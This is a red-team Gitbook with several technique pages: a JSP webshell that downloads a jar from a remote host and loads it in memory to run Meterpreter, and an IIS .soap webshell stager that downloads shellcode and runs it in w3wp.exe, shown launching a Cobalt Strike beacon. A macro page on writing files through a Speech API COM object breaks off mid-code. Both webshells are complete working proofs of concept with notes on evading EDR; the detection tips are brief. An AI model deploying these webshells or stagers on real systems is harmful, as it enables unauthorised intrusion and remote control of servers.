# About This Gitbook

Navigating The Shadows contains personal notes on my journey through offensive and defensive security. I write when I have time and feel like it. Sometimes I just drop links to other work.

{% hint style="warning" %}
**I am not always correct.** Do not treat these notes as such. I learn by doing and make certain assumptions along the way. Feel free to ping me if you have a suggestion for improvement/correction.
{% endhint %}

{% hint style="danger" %}
**You are responsible for your actions.** Do not use my work for malicious purposes.
{% endhint %}

## Target Audience

I write these notes in first place for my own future reference. The Cybersecurity field is massive and it is often difficult to navigate and manage all the knowledge. Likely, I am not the only person struggling with this. Therefore, I decided to make my notes publicly available. May they help you in your journey as well.

## About Myself

I am the Red Team Operations Lead at DXC Strikeforce. My journey in Cybersecurity started in 2017 with an ethical hacking course in college.  Since then, offensive security sparked my interest and I secured an internship in the Threat and Vulnerability Management team in DXC Technology.&#x20;

From there, I got into Web Application pentesting, made my way to Infra and Active Directory pentests and ended up in Red Team Operations. Along the way, I picked up some trainings and certifications, managed some internal innovation projects, organized workshops with internal blue teams and further developed my skillset with the support of my colleagues.

My philisophy is simple: The best way to completely understand a technical topic is by doing it. This is what this Gitbook is all about. Enjoy!

## Other Red Team/Offsec Resources

Becoming a red teamer is a continuous journey and not a destination. Personally, I would not have made it this far without some of the great resources out there. I listed some below and will likely expand on this list in the future:

* [**ired.team**](https://ired.team): Likely one of the best and most complete Red Team guides out there. It covers many basic and advanced topics on a technical level. This Gitbook inspired me to make my own documentation and contribute to the community as well!
* [**SpecterOps**](https://posts.specterops.io)
* [**MDSec**](https://www.mdsec.co.uk/knowledge-centre/insights/)
* [**OutflankNL**](https://outflank.nl/blog/)
* [**xpn's blog**](https://blog.xpnsec.com)
* [**redteamer.tips**](https://redteamer.tips/red-team-tips/)
* [**RedTeamSec**](https://www.reddit.com/r/redteamsec/) Reddit and Discord
* [**BloudHoundGang**](https://bloodhoundgang.herokuapp.com) Slack
* [**Porchetta Industries** ](https://porchetta.industries)Discord
* [**NCCGroup**](https://research.nccgroup.com)
* ...


# Initial Access

This section describes techniques related to Mitre TA0001 - Initial Access


# Webshells

This category talks about webshells. Our aim is usually to load a C2 framework from the webshell or execute other code without spawning suspicious subprocesses from the web server process.


# Java (JSP) - Bring Your Own Jar

On this page, we will explore how to reflectively load a class from a Java library and call its main method. In red team context, this can be used to stage additional java code without touching disk.

## TL;DR

Final proof of concept can be found [here](https://github.com/0xbad53c/webshells/blob/main/java/bring_your_own_jar.jsp).

## Introduction

As red team operators, we are often challenged with situations where a certain service is vulnerable and perhaps even has a public proof of concept, but one look at the exploit code is enough to know that it will likely cause all the alarms to go off on the blue team side. This is not the way we like to make an entry (initial foothold) and put the SOC on alert in the beginning of the exerices.

What if this exploitable target is some java application? If the situation allows for it, we could opt for some Java memshell, which usually registers a servlet for you to interact with from Java. This already seems to rely on some dynamic class loading. Some examples:

* <https://github.com/feihong-cs/memShell/blob/master/src/main/webapp/tomcat.jsp>
* <https://github.com/rebeyond/memShell>
* <https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL>

However, if feels like a complicated setup and often does not immediately bootstrap your favourite C2 framework. So what would be the shortest route to achieve that from inside - let's say - a JSP file? Reflective DLL loading existed on Windows for a long time so why not reflective jar loading?

## Reflective Jar Loading

First of all, this is not intended as a malicious proof of concept. There are legitimate use cases for loading libraries dynamically without dropping these to disk first. For example, one could use this technique to [decrypt encrypted java](https://stackoverflow.com/questions/68410748/run-jar-file-with-file-in-memory) jars at runtime as a way of protecting against reverse engineering.

Neither is this a new technique. There are public code snippets that can help develop an implementation of this (e.g. [this](https://stackoverflow.com/questions/28964450/loading-a-jar-dynamically-from-memory)).  Nor am I the first one to explore this topic. As always, a random stranger on the internet, in our case [Holger](https://stackoverflow.com/users/2711488/holger), posted it in [ten years ago on StackOverflow](https://stackoverflow.com/questions/28964450/loading-a-jar-dynamically-from-memory). Credit goes to him for the least complex and most portable implementation, which we will use in our proof of concept. There is also [this amazing article](https://diablohorn.com/2010/11/05/java-in-memory-class-loading/) by [DiabloHorn](https://x.com/FSDominguez), which I discovered after writing this post.

## Dynamic Class Loading in MetaSploit

Before we start porting Holger's class loader to JSP, let's dig into the MetaSploit implementation first. I have this really old vulnerable ActiveMQ server running on Windows, which I sometimes use to experiment with Java webshells. Conveniently, MetaSploit already has [an exploit](https://www.rapid7.com/db/modules/exploit/multi/http/apache_activemq_upload_jsp/) for this, which we can point and run against the target. It's a path traversal file upload, which allows you to drop executable files at remotely accessible paths. Classic webshell drop scenario.

Upon execution of the exploit, it drops two files to disk:

1. A JSP with a randomized name.
2. A .jar file with a randomized name

### Dynamic Class Loading from Disk

The JSP will look something like shown below. When accessing <https://host:8161/api/random.jsp>, the webshell will be triggered. First, it loads a random.jar file, which was also dropped to disk. From this jar, it dynamically loads the MetaSploit.Payload class and calls the main method of this class.

<pre class="language-java"><code class="lang-java"><strong>&#x3C;%@ page import="java.io.*"%>
</strong>&#x3C;%@ page import="java.net.*"%>
&#x3C;%
    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./random.jar")).toURI().toURL()});
    Class c = cl.loadClass("MetaSploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>
</code></pre>

After this, Meterpreter loudly announces its presence to all EDRs on the system and attempts to establish an egress connection. However, EDR/SOC might not agree.

### Custom Jar

Perhaps we should replace the Meterpreter jar file that the exploit drops to disk with our own, more customized way of staging any C2 shellcode we want from inside Java. I am using a fat jar with JNA (Pinvoke alternative for Java). It's essentially a native shellcode stager ported to Java. Have a look at [this](https://github.com/MinervaLabsResearch/CoffeeShot/blob/master/src/CoffeeShot.java) to get the idea. Explaining our loader may be material for a future blog post if I ever find the time.

However, I'll say this: Do we really want to drop this jar to disk, where AV can scan it, sandboxes can start analysing it and most notably, we have to clean it up after the engagement? Nope.

## Fetch Remote Jar

Fortunately, if egress HTTPS traffic is allowed, we won't have to drop anything to disk.  The following JSP code snippet is perfectly capable of reading a remote jar file and saving it to the `buffer` ByteArray.

```java
<%@ page import="java.io.*, java.net.*, java.util.*, java.util.jar.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% %>
<%
out.println("lets try this");

URL url = new URL("http://10.60.2.12/myjar.jar");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
InputStream remoteis = url.openStream();
byte[] tempBuffer = new byte[4096];
int len;
while ((len = remoteis.read(tempBuffer)) != -1) {
    baos.write(tempBuffer, 0, len);
}
byte[] buffer = baos.toByteArray();
```

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FlKEDFSv4bVjvAAgG3yr8%2Fimage.png?alt=media&amp;token=7fa95f50-7516-48c9-a702-7d24d05b0dd4" alt=""><figcaption><p>Successful HTTP request to fetch Jar</p></figcaption></figure>

## Extracting Classes

Next, we need to loop over entries in our jar file and extract classes into a map.

```java
// Processing JAR file entries
Map<String, byte[]> map = new HashMap<String, byte[]>();
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(buffer));
for (;;) {
    JarEntry nextEntry = jis.getNextJarEntry();
    if (nextEntry == null) break;
    final int est = (int) nextEntry.getSize();
    byte[] data = new byte[est > 0 ? est : 1024];
    int real = 0;

    int bytesRead;
    while ((bytesRead = jis.read(data, real, data.length - real)) > 0) {
        real += bytesRead;
        if (real == data.length) {
            // Manually resizing the array
            byte[] newData = new byte[data.length * 2];
            System.arraycopy(data, 0, newData, 0, data.length);
            data = newData;
        }
    }

    // Trim the array to the actual size
    if (real != data.length) {
        byte[] trimmedData = new byte[real];
        System.arraycopy(data, 0, trimmedData, 0, real);
        data = trimmedData;
    }

    map.put("/" + nextEntry.getName(), data);
}
```

## Custom ClassLoader

After this, we should implement our custom Class Loader. Why can't we use the standard ClassLoader for this? Holger explained it quite well in his [StackOverflow reply](https://stackoverflow.com/questions/28964450/loading-a-jar-dynamically-from-memory):

> Loading classes from such a representation doesn’t work out-of-the-box because the standard `ClassLoader` implementations rely on the `JarFile` implementation which relies on a physical file rather than an abstraction.
>
> So unless you simply write the buffer into a temporary file, it boils down to implement your own `ClassLoader`. Since the JRE supports only stream access as shown above, you will have to scan linearly to find a requested resource/class or iterate once and store the entries into a `Map`.
>
> One alternative to implementing a `ClassLoader` is to implement a custom `URL` handler to use together with a `URLClassLoader` which reduces the task to the lookup as described above

Since we're loading the classes from a Map in memory, we can build a custom `URLStreamHandler` which will return a `URLConnection` to the appropriate class.

```java
final Map<String, byte[]> finalMap = map;
// Defining a custom URLStreamHandler to load classes from memory
URL u = new URL("87c30278b52d957fc722ca030e020b726f40be2c", null, -1, "/", new URLStreamHandler() {
    protected URLConnection openConnection(URL u) throws IOException {
        final byte[] data = finalMap.get(u.getFile());
        if (data == null)
            throw new FileNotFoundException(u.getFile());
        return new URLConnection(u) {
            public void connect() throws IOException {
            }

            @Override
            public InputStream getInputStream() throws IOException {
                return new ByteArrayInputStream(data);
            }
        };
    }
});
```

Finally, we can construct a `URLClassLoader` with our custom `URLStreamHandler`, after which we can instantiate our custom `com.nativewin32.MyClass` object and invoke the main method.

```java
// Loading the class from the in-memory JAR using a custom ClassLoader
URLClassLoader cl = new URLClassLoader(new URL[] { u });
out.println("Loading class com.nativewin32.MyClass...");
try {
    Class<?> clazz = cl.loadClass("com.nativewin32.MyClass");
    clazz.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});

    out.println("Class com.nativewin32.MyClass loaded successfully.");
} catch (ClassNotFoundException e) {
    out.println("Class com.nativewin32.MyClass not found: " + e.getMessage());
} catch (Exception e) {
    out.println("Error loading class com.nativewin32.MyClass: " + e.getMessage());
}
```

## Final POC

```java
<%@ page import="java.io.*, java.net.*, java.util.*, java.util.jar.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% %>
<%
out.println("lets try this");

URL url = new URL("http://10.60.2.12/myjar.jar");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
InputStream remoteis = url.openStream();
byte[] tempBuffer = new byte[4096];
int len;
while ((len = remoteis.read(tempBuffer)) != -1) {
    baos.write(tempBuffer, 0, len);
}
byte[] buffer = baos.toByteArray();

// Processing JAR file entries
Map<String, byte[]> map = new HashMap<String, byte[]>();
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(buffer));
for (;;) {
    JarEntry nextEntry = jis.getNextJarEntry();
    if (nextEntry == null) break;
    final int est = (int) nextEntry.getSize();
    byte[] data = new byte[est > 0 ? est : 1024];
    int real = 0;

    int bytesRead;
    while ((bytesRead = jis.read(data, real, data.length - real)) > 0) {
        real += bytesRead;
        if (real == data.length) {
            // Manually resizing the array
            byte[] newData = new byte[data.length * 2];
            System.arraycopy(data, 0, newData, 0, data.length);
            data = newData;
        }
    }

    // Trim the array to the actual size
    if (real != data.length) {
        byte[] trimmedData = new byte[real];
        System.arraycopy(data, 0, trimmedData, 0, real);
        data = trimmedData;
    }

    map.put("/" + nextEntry.getName(), data);
}

final Map<String, byte[]> finalMap = map;
// Defining a custom URLStreamHandler to load classes from memory
URL u = new URL("87c30278b52d957fc722ca030e020b726f40be2c", null, -1, "/", new URLStreamHandler() {
    protected URLConnection openConnection(URL u) throws IOException {
        final byte[] data = finalMap.get(u.getFile());
        if (data == null)
            throw new FileNotFoundException(u.getFile());
        return new URLConnection(u) {
            public void connect() throws IOException {
            }

            @Override
            public InputStream getInputStream() throws IOException {
                return new ByteArrayInputStream(data);
            }
        };
    }
});

// Loading the class from the in-memory JAR using a custom ClassLoader
URLClassLoader cl = new URLClassLoader(new URL[] { u });
out.println("Loading class com.nativewin32.MyClass...");
try {
    Class<?> clazz = cl.loadClass("com.nativewin32.MyClass");
    clazz.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});

    out.println("Class com.nativewin32.MyClass loaded successfully.");
} catch (ClassNotFoundException e) {
    out.println("Class com.nativewin32.MyClass not found: " + e.getMessage());
} catch (Exception e) {
    out.println("Error loading class com.nativewin32.MyClass: " + e.getMessage());
}
%>

```

Moments after uploading and accessing this custom jsp page, our custom jar file is downloaded again.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FQSKi5MwNJkaw4QM8kiRY%2Fimage.png?alt=media&amp;token=de36d24b-db3c-4b5e-bd1c-62a256784e1d" alt=""><figcaption><p>Jar file download</p></figcaption></figure>

The Jar file loads our shellcode in the current process (java.exe) to avoid spawning suspicious subprocesses which have a higher risk of triggering endpoint detection.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FUvEWSs86GmRKr4Ldk9o0%2Fimage.png?alt=media&amp;token=0cc1afce-1ace-4f7d-bd25-153865268660" alt=""><figcaption><p>Meterpreter established</p></figcaption></figure>

We successfully injected Meterpreter shellcode into the java.exe process using our custom jar. To validate, we check our process ID. Of course, this could have been any your favourite C2 framework as well. You can Bring Your Own Jar.

<figure><img src="https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FIM38JUOMf22jADegWOvY%2Fimage.png?alt=media&amp;token=706176e2-4d7f-4b16-9fcc-3d521b951a47" alt=""><figcaption><p>Successfully loaded in java.exe</p></figcaption></figure>

## Potential Improvements

Feel free to make a PR if you would like to implement any of these:

* TLS support
* Encrypt/Decrypt remote jar with AES
* Error handling
* Test on Linux (works in theory)

## Detections

As always, keep track of JSP and other executable files being written to disk via web processes.\
I also embedded a signature in the webshell. Scan the file for the following string:\
`87c30278b52d957fc722ca030e020b726f40be2c`

## References

{% embed url="<https://stackoverflow.com/questions/28964450/loading-a-jar-dynamically-from-memory>" %}

{% embed url="<https://www.rapid7.com/db/modules/exploit/multi/http/apache_activemq_upload_jsp/>" %}

{% embed url="<https://stackoverflow.com/questions/28964450/loading-a-jar-dynamically-from-memory>" %}

{% embed url="<https://stackoverflow.com/questions/68410748/run-jar-file-with-file-in-memory>" %}

{% embed url="<https://diablohorn.com/2010/11/05/java-in-memory-class-loading/>" %}


# IIS - SOAP

This page describes how to run shellcode from a webshell with a .soap extension. Sometimes web applications use upload blacklists and forget about this extension type.

## TL;DR

Final proof of concept at [**https://github.com/0xbad53c/webshells/blob/main/iis/soapshell.soap**](https://github.com/0xbad53c/webshells/blob/main/iis/soapshell.soap)

## Introduction

During one of our regular Purple Team workshops, we focused around so-called edge attacks: techniques to acquire an initial foothold on an internet-facing device. For this particular session, we deployed 4 Windows and Linux machines. For every OS type, there was 1 test box without defenses and 3 others, each with a top-tier EDR solution installed.

The machines had various vulnerable services, such as IIS with ASP and unrestricted file upload, PHP applications with known vulnerabilities, a Java Spring app with the recently disclosed Spring4Shell issue and an application with a buffer overflow vulnerability.

The goal of the workshop was to identify gaps in the detection of the default configuration to strenghten our own defenses with custom rules and improve our toolset for during Red Team engagements. We employed various techniques to gain a foothold and collaborated closely with our internal Blue Team to analyze detections.

When checking our the IIS possibilities, we stumbled accross a SOAP handler, which appears to be a lesser-known vector to acquire a webshell on the target.

## Discovery

Our journey begun with the discovery of the strange soap extension handler in the default ASP web.config. This means that the extension is likely enabled on any out of the box IIS installation with ASP support. The config file can be found at the path below:

`C:\Windows\Microsoft.NET\Framework64\{Framework Version}\Config\Web.config`

Two HTTP handlers immediately stood out. I never encountered these extensions in a web application before and it seemed quite strange for them to be enabled by default

```
<add path="*.rem" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False" />
<add path="*.soap" verb="*" type="System.Runtime.Remoting.Channels.Http.HttpRemotingHandlerFactory, System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" validate="False" />
```

You can also find these in the IIS Handler Mappings, as shown below.

![.rem and .soap HTTP handlers are enabled](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FtprDm5ITTJvvjU7RJWjF%2Fimage.png?alt=media\&token=ab0eccc4-4f0e-469f-bf56-4fd1f4da96ac)

Not much documentation of these extensions exist, so I decided to go for the trial and error approach by uploading a test file for each extension. Strangely enough, the .rem test file threw an error.

![Build provider not registered error](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fag3aOuQ0E8CHskVRXPm3%2Fimage.png?alt=media\&token=c9f7f4d0-538f-4e02-85ba-d9f64009ff49)

This can be verified by checking the Web.Config file again. Note how .rem does not have a build provider, but .soap does! Interesting fact: The build provider appeared to be the same as .asmx.

![.rem build provider missing, but .soap is available](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FVmL0EwFeTjorh7ugrlzD%2Fimage.png?alt=media\&token=9f886217-97f1-4358-a843-5baaeae607cf)

To verify this, I accessed the soap test file. There appeared to be an attempt to parse ASP - style code.

![Parse error of the soap extension](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FgGT0PLuRgvZKIW3HJ1ZG%2Fimage.png?alt=media\&token=1b8838bc-2133-4539-bf1e-71a27a3d0cbc)

## WebShell Development

As most offensive security folks know, time is limited and we do not want to reinvent the wheel. I went ahead and navigated my way through existing .soap and .asmx webshell samples. There appeared to be very limited proof of concepts. The two that stood out were basically almost the same code but different extensions.

{% embed url="<https://github.com/tennc/webshell/blob/master/caidao-shell/Customize.soap>" %}

{% embed url="<https://github.com/tennc/webshell/blob/master/caidao-shell/customize.asmx>" %}

Sadly, I could not get the above webshells to work in my lab environment. However, one could easily spot the structure and differences for both extensions from the samples. With this knowledge, I tried to build my own stager webshell implementation.

First, I declared the webservice to be parsed by the ASP engine.

```
<%@ WebService Language="C#" class="SoapStager"%>
```

Next, I imported the libraries I wanted to use in the stager.

```
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;code
```

Followed by the webservice binding and namespace declaration.

```
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
```

More info at the following link:

{% embed url="<https://docs.microsoft.com/en-us/dotnet/api/system.web.services.webservicebindingattribute?view=netframework-4.8>" %}

Next, I defined the SoapStager class, which is an implementation of MarshalByRefObject. This is the main difference with the asmx extension.

```
public class SoapStager : MarshalByRefObject
```

The class begins with some unmanaged code imports, like VirtualAlloc and CreateThread to allocate executable memory and move the shellcode to a new thread of the webserver process (w3wp.exe)

```
{
	private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
```

Finally, I implemented the loadStage SOAP method to download raw shellcode from a local webserver via System.Net.webClient, allocate executable memory and copy the binary data to it. After this, the web method should create a new thread from the w3wp.exe IIS worker process via the CreateThread API call.

```
[System.ComponentModel.ToolboxItem(false)]
    [WebMethod]
    public string loadStage()
    {
        string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
        byte[] rzjUFlLZh;

        IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
        defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;

        // in case of HTTPS
        using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
        {
            ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
            webClient.UseDefaultCredentials = true;
            rzjUFlLZh = webClient.DownloadData(Url);
        }


        // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
        IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
        IntPtr owlqRoQI_ms = IntPtr.Zero;
        IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);

        return "finished"; //SOAP implementation requires a return value
    }
}
```

## Code Execution

To verify if the shell worked, I uploaded it to an IIS webserver with unrestricted file upload. I chose to upload it as soap\_final.soap.

![Unresetricted file upload page](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FnoyckOzi26fU3AOZarPl%2Fimage.png?alt=media\&token=2b8348d4-cc17-45b9-8277-69203c2d1cae)

![The file was successfully uploaded](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FwLpio9l5LTuB62hNfksX%2Fimage.png?alt=media\&token=d3b9ad2a-92ad-4367-978d-b5f9594cc77e)

Next, I accessed the newly uploaded page in the browser. This resulted in the following message, containing a link to the WSDL and loadStage method information:

![Link to the WSDL and loadStage method](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FQS0sumyMWwxHliwlES1Z%2Fimage.png?alt=media\&token=075ff0ef-c366-4b1c-93a3-a62508ee1c4f)

At this point, the easiest way to build the correct soap request was to parse the WSDL XML automatically. In this case, I used BurpSuite's Wsdler extension. This was as easy as right clicking the request for the WSDL specification (add ?WSDL to the request to your uploaded SOAP file) and executing Extensions > Wsdler > Parse WSDL.

![WSDL parsing with Wsdler](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FT38LDGsBts0WQoFseXhp%2Fimage.png?alt=media\&token=0b71d5e3-8dea-4788-bde4-b1da59c69f2f)

This resulted in a new entry in the Wsdler tab:

![New request based on parsed data](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fy4I6hgSQlamCSOWgIfub%2Fimage.png?alt=media\&token=a4cb709e-2f59-42cd-9202-458d24f10c39)

Finally, the SOAP request to execute the loadStage method was sent via Burp Repeater.\
HTTP Request:

```
POST //soap_final.soap HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.90.244.138:8888/soap_final.soap
Upgrade-Insecure-Requests: 1
SOAPAction: http://EC2AMAZ-2LD529D//SoapStager#loadStage
Content-Type: text/xml;charset=UTF-8
Host: 10.90.244.138:8888
Content-Length: 423

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:app="http://schemas.microsoft.com/clr/nsassem/SoapStager/App_Web_idg021ho">
   <soapenv:Header/>
   <soapenv:Body>
      <app:loadStage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
   </soapenv:Body>
</soapenv:Envelope>
```

Which resulted in the following HTTP Response, indicating successful execution:

![Successful method execution](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FoUOzYla3xPpnR4FGgHgY%2Fimage.png?alt=media\&token=f5af8066-ade2-4bf5-82cf-805d655127d2)

In this case, a Cobalt Strike beacon successfully launched in w3wp.exe:

![Beacon successfully executed](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2FXYySKohqVMN0EiZJ3f7c%2Fimage.png?alt=media\&token=2f6e77be-e63a-45f7-8357-0fab1e1d11cc)

![Successful beacon in w3wp.exe as DefaultAppPool](https://2625624550-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhRzjBF3u8KpBWHCTCRNz%2Fuploads%2Fp1PU35HRK1JieSeUATC8%2Fimage.png?alt=media\&token=0d58cdd6-db63-4eec-bde6-48e3501ef7fa)

## Full Proof of Concept

```
<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;


[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
	private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);


    [System.ComponentModel.ToolboxItem(false)]
    [WebMethod]
    public string loadStage()
    {
        string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
        byte[] rzjUFlLZh;

        IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
        defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;

        // in case of HTTPS
        using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
        {
            ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
            webClient.UseDefaultCredentials = true;
            rzjUFlLZh = webClient.DownloadData(Url);
        }


        // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
        IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
        IntPtr owlqRoQI_ms = IntPtr.Zero;
        IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);

        return "finished";
    }
}
```

## Detections

We tested these against some of the top-tier EDRs and surprisingly, the detection rate appeared to be quite low out of the box. Though, there is no need for most web server processes to be writing/modifying .soap extension files. Adding a detection rule for this should therefore be quite trivial.

Additionally, there is little documentation to available for development of pages with this .soap extension. Therefore, there is no reason for it to be enabled by default. Harden your IIS configuration by disabling this in your web.config. Perhaps Microsoft can disable this in future IIS with ASP deployments?


# Macro Attacks

This category talks about Office macro attacks, which are often used in combination with phishing to establish a foothold on the victim's machine.


# Talking Documents with SpVoice COM

This page describes how to use the Microsoft Speech API to let your office document talk to the end user.

## TL;DR

Final proof of concept to make your Word document speak arbitrary text at <https://github.com/0xbad53c/VBA-Talk-Dirty-To-Me/blob/main/payload.vba>.

## Introduction

While researching alternative ways to write binary files via office macros, I stumbled accross a hidden gem: The Microsoft Speech API. Apparently, this API exposes COM objects, which enables you to call it from VBA.

## Discovery

As the original research purpose was to identify new ways to write binary files from maldocs, the first step was to identify interesting COM objects. Several interesting targets stood out, but this article will focus on SAPI.SpFileStream.1. The identified COM object appeared to have a method to write to a file.

To learn how to dump COM objects, refer to [ired.team](https://www.ired.team/offensive-security/enumeration-and-discovery/enumerating-com-objects-and-their-methods).

```
// COM Object
SAPI.SpFileStream.1


   TypeName: System.__ComObject#{af67f125-ab39-4e93-b4a2-cc2e66e182a7}

Name   MemberType Definition                                          
----   ---------- ----------                                          
Close  Method     void Close ()                                       
Open   Method     void Open (string, SpeechStreamFileMode, bool)      
Read   Method     int Read (Variant, int)                             
Seek   Method     Variant Seek (Variant, SpeechStreamSeekPositionType)
Write  Method     int Write (Variant)                                 
Format Property   ISpeechAudioFormat Format () {get} {set by ref}    
```

What if we would use this COM object to write an HTTP response body containing binary data (such as a dll) to a file. The following code snippet  The following code snippet could achieve this, when combined with e.g. an [xmlhttprequest](https://codingislove.com/http-requests-excel-vba/) or [winhttprequest](https://learn.microsoft.com/en-gb/windows/win32/winhttp/winhttprequest?redirectedfrom=MSDN) COM object.

```
// Some code
If SendReq.Status = 200 Then
    Set objFSTRM = CreateObject("SAPI.SpFileStream.1")
